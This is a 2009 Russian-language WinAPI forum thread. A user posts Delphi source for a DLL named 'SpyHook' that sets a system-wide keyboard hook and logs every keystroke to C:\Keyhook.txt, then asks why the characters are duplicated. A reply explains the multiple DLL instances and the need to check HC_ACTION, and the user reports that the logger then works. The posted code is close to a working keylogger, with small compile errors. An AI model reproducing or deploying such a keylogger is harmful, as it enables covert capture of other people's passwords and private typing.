Конференция "WinAPI" » Дублируются перехваченные с клавиатуры символы [WinXP]
 
  • Edward (17.09.09 12:01) [0]
    Библиотека перехвата нажатия клавиш клавиатуры и печать их файл. Вопрос почему набераемые символы записываются в текстовый файл по несколько раз. Что не так сделал?
    library SpyHook;
    uses
     Messages,
     Windows,
     SysUtils
    var
     HookHandle:hHook;
     ft:textfile;
    function KeyboardProc(Code: Integer; wParam: WPARAM; lParam: LPARAM): integer; stdcall;
    var
     KeyState1: TKeyBoardState;
     AryChar: array[0..1] of Char;
    //  Count: Integer;

    begin
    //  Result:=CallNextHookEx(HookHandle, code, wParam, lParam);
     if code < 0 then begin Result:=CallNextHookEx(HookHandle, code, wParam, lParam); Exit; end
     else
    //  if byte(LParam shr 24)<$80 then
     if lParam and $40000000 = 0 then
     begin
       try
         append(ft); //(пробуем открыть файл для добавления)
         GetKeyboardState(KeyState1);
         ToAscii(wParam, lParam, KeyState1, AryChar, 0);
         case wParam of 27: write(ft,' <ESC>');
                        18: write(ft,' <ALT>');
                        17: write(ft,' <CTRL>');
                        16: write(ft,' <SHIFT>');
                        20: write(ft,' <Caps Lock>');
                        8: write(ft,' <BackSpace>');
                        46: write(ft, '<DEL>');
                        45: write(ft, '<INS>');
                        36: write(ft, '<HOME>');
                        35: write(ft, '<END>');
                        38: write(ft, '<UP>');
                        40: write(ft, '<DOWN>');
                        37: write(ft, '<LEFT>');
                        39: write(ft, '<RIGHT>');
                        112: write(ft, '<F1>');
                        113: write(ft, '<F2>');
                        114: write(ft, '<F3>');
                        115: write(ft, '<F4>');
                        116: write(ft, '<F5>');
                        117: write(ft, '<F6>');
                        118: write(ft, '<F7>');
                        119: write(ft, '<F8>');
                        120: write(ft, '<F9>');
                        121: write(ft, '<F10>');
                        122: write(ft, '<F11>');
                        123: write(ft, '<F12>');
                        91: write(ft, '<Winwows>');
                        13: writeln(ft, '');
         else
           write(ft,AryChar[0]);
         end;
         closefile(ft);
       except
         Result:=CallNextHookEx(HookHandle, code, wParam, lParam);
         exit; {если не получается - выход}
       end;
     end;
     Result:=CallNextHookEx(HookHandle, code, wParam, lParam);
    end;
    procedure SetHook; stdcall; {установка ловушки}
    begin
     HookHandle := SetWindowsHookEx(WH_KEYBOARD,KeyboardProc, hInstance, 0);
    end;
    procedure DelHook; stdcall; {удаление ловушки}
    begin
     UnhookWindowsHookEx(HookHandle);
    end;

    exports
     SetHook, DelHook, SetHook2;
    begin
     assignFile (ft, 'C:\Keyhook.txt');
    end.
  • Сергей М. © (17.09.09 12:11) [1]
    Ты осознаешь, что после установки хука в системе одновременно существуют множество экземпляров этой DLL ?

    И каждая из них вправе пытаться писать в файл, если система сочтет нужным вызвать ф-цию KeyboardProc..
  • Edward (17.09.09 12:36) [2]
    Если честно, то не очень понял - каким образом в системе существует множество экземпляров. Но методом научного тыка угадал, что в нужно написать так:
     if (lParam and $40000000 = 0) and (Code = HC_ACTION) then
    вместо просто
    (lParam and $40000000 = 0) и это заработало.

    Если не сложно скинь ссылку или коротенько о "одновременно существуют множество экземпляров этой DLL".
  • Сергей М. © (17.09.09 13:03) [3]

    > Code = HC_ACTION


    Да, это условие, разумеется, обязательно должно быть проверено.

    http://wasm.ru/article.php?article=1001024
  • Edward (17.09.09 13:06) [4]
    Спасибо!
 
Конференция "WinAPI" » Дублируются перехваченные с клавиатуры символы [WinXP]
Есть новые Нет новых   [134434   +27][b:0][p:0]